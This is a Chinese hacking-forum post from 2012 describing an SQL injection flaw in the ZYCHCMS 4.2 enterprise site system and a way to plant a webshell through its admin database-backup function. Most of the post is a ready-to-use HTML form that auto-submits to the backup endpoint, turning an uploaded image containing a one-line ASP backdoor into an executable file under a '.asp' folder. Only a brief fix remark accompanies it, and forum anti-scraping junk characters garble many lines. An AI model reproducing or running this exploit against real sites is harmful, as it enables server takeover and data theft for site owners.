找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1736|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
# o$ R. D, S$ t5 |3 U+ g

  N5 k5 m* \$ U
' m: m; M; T3 ?" Z# q8 e" `& v  U# X+ ~
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
8 V9 b2 l- X3 \/ O7 s ①SQL注射漏洞
; _+ N2 k/ T# {2 Y 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp6 F  g* x8 f: p1 t) r; ^( l
漏洞原因:未过滤
* g7 T  G4 g; P+ U 漏洞代码:
' ?( F. k$ h& `# @ 都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。8 a+ s  k' \* V& h9 M! u
修复方法:在文件开头加入代码) @7 l1 A( \* T, }% i

6 }* Q3 j8 Y3 m6 y8 K4 ]9 t: y0 z0 l! i4 _
②后台拿WBSHELL) U, N! ^9 }* R' G8 k
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
: l) Q0 B9 T& `" {$ V 这里在网上找了一个,改了下,将就着用。% e. y5 a! ^! z. s% p2 o$ A
以下是代码本地提交代码
; l1 L6 G0 ^+ P  r
1 `! ^0 r, I: @' O, @" c# S6 J) p0 a( D
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
/ R% ~- q! j3 }5 D2 X <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
8 @; A! g; f! b0 L: a <tr>  k5 f: h& [& @# s! P; a6 I3 e3 Q
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>+ w5 P3 W, C& H- n
</tr>6 d2 P  B; h7 _  V! }
<tr>
/ U8 A* @! n& |- U+ c6 W <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
( V" X3 ^2 v8 t1 f. k </span>
4 z) n$ ?- D: R+ g <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >; Q4 p; ?) w* P  a$ F  a1 p
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
; ?' ^' H4 B8 Z <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
, y* `2 o- Q  V, t" r <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d/ Z  [) B. V9 J+ J. b" H& l
<div align=”left”>
% r, C$ W$ e6 k) G3 n3 W2 ? <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
0 L  s6 W% W: O& t8 D/ Q# q1 g <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>. e% N- z3 D/ V: u
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />* E  O- R, t# f" `) h+ S2 ?1 N
</div></td>/ W7 X% q9 I+ U. L
</tr>
! w* ~5 C$ T$ X# L+ I: ?, s8 ` <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>* v5 G/ m9 E# b2 \. u9 x7 N; w
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>" Q. O' ~/ U. M
<td class=”td”><div align=”left”>
. J" i  d# u( P <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />0 Y0 z4 M9 h5 U/ p* u$ `% s! V
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
8 s" M, P* F" _' }- P7 L/ ^/ b </tr>7 n; Y8 g/ f( @+ T8 ]% d( c' |+ }
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
3 W. F! ?" q7 D <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>* k# I# G% t; R, R5 M9 P
<td class=”td”><div align=”left”>3 Y# M. V0 ]2 o- W' M
<input type=”submit” value=”确定备份” class=”btn”
1 s' X' E! G$ D </div></td>& S& q, x% _; y0 L  O: g4 ^
</tr>: k! h8 y; R% h/ `* ]; q5 x) c& X! D
</table></td></tr></form># c: W. p" {4 W' Y" D  A
</table>
2 @8 W. D/ u: n' n </td>
* g# F+ o; y2 v6 j1 C </tr>
% I2 p" C: V3 ?, l& E( y3 { </table>
) {5 E- ^, I* j# ^ <script>  R+ x2 b$ q, g1 H( n& m1 }' O2 h+ i
document.all.add.submit();- y) u" p. C, E1 g( l5 F4 {1 l
</script>9 }  h+ q6 I+ o' a' F
9 p8 j) `7 |( g) r

$ x, K8 X9 W8 G4 R4 V1 z% O" c3 k  T9 x1 h% v/ {
4 C" ]3 B- F) b' B4 b$ y) [

4 k: W+ S# O$ `' T! J5 G4 y; E
# L7 x7 `* W) q# }
9 t+ O3 \, V& |5 e' |& z  C& c0 w" K: l3 x. H2 F" e1 C, ~6 e7 G
3 [7 f4 K" ], ^3 a  F
# j0 q% k, ]# w' ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表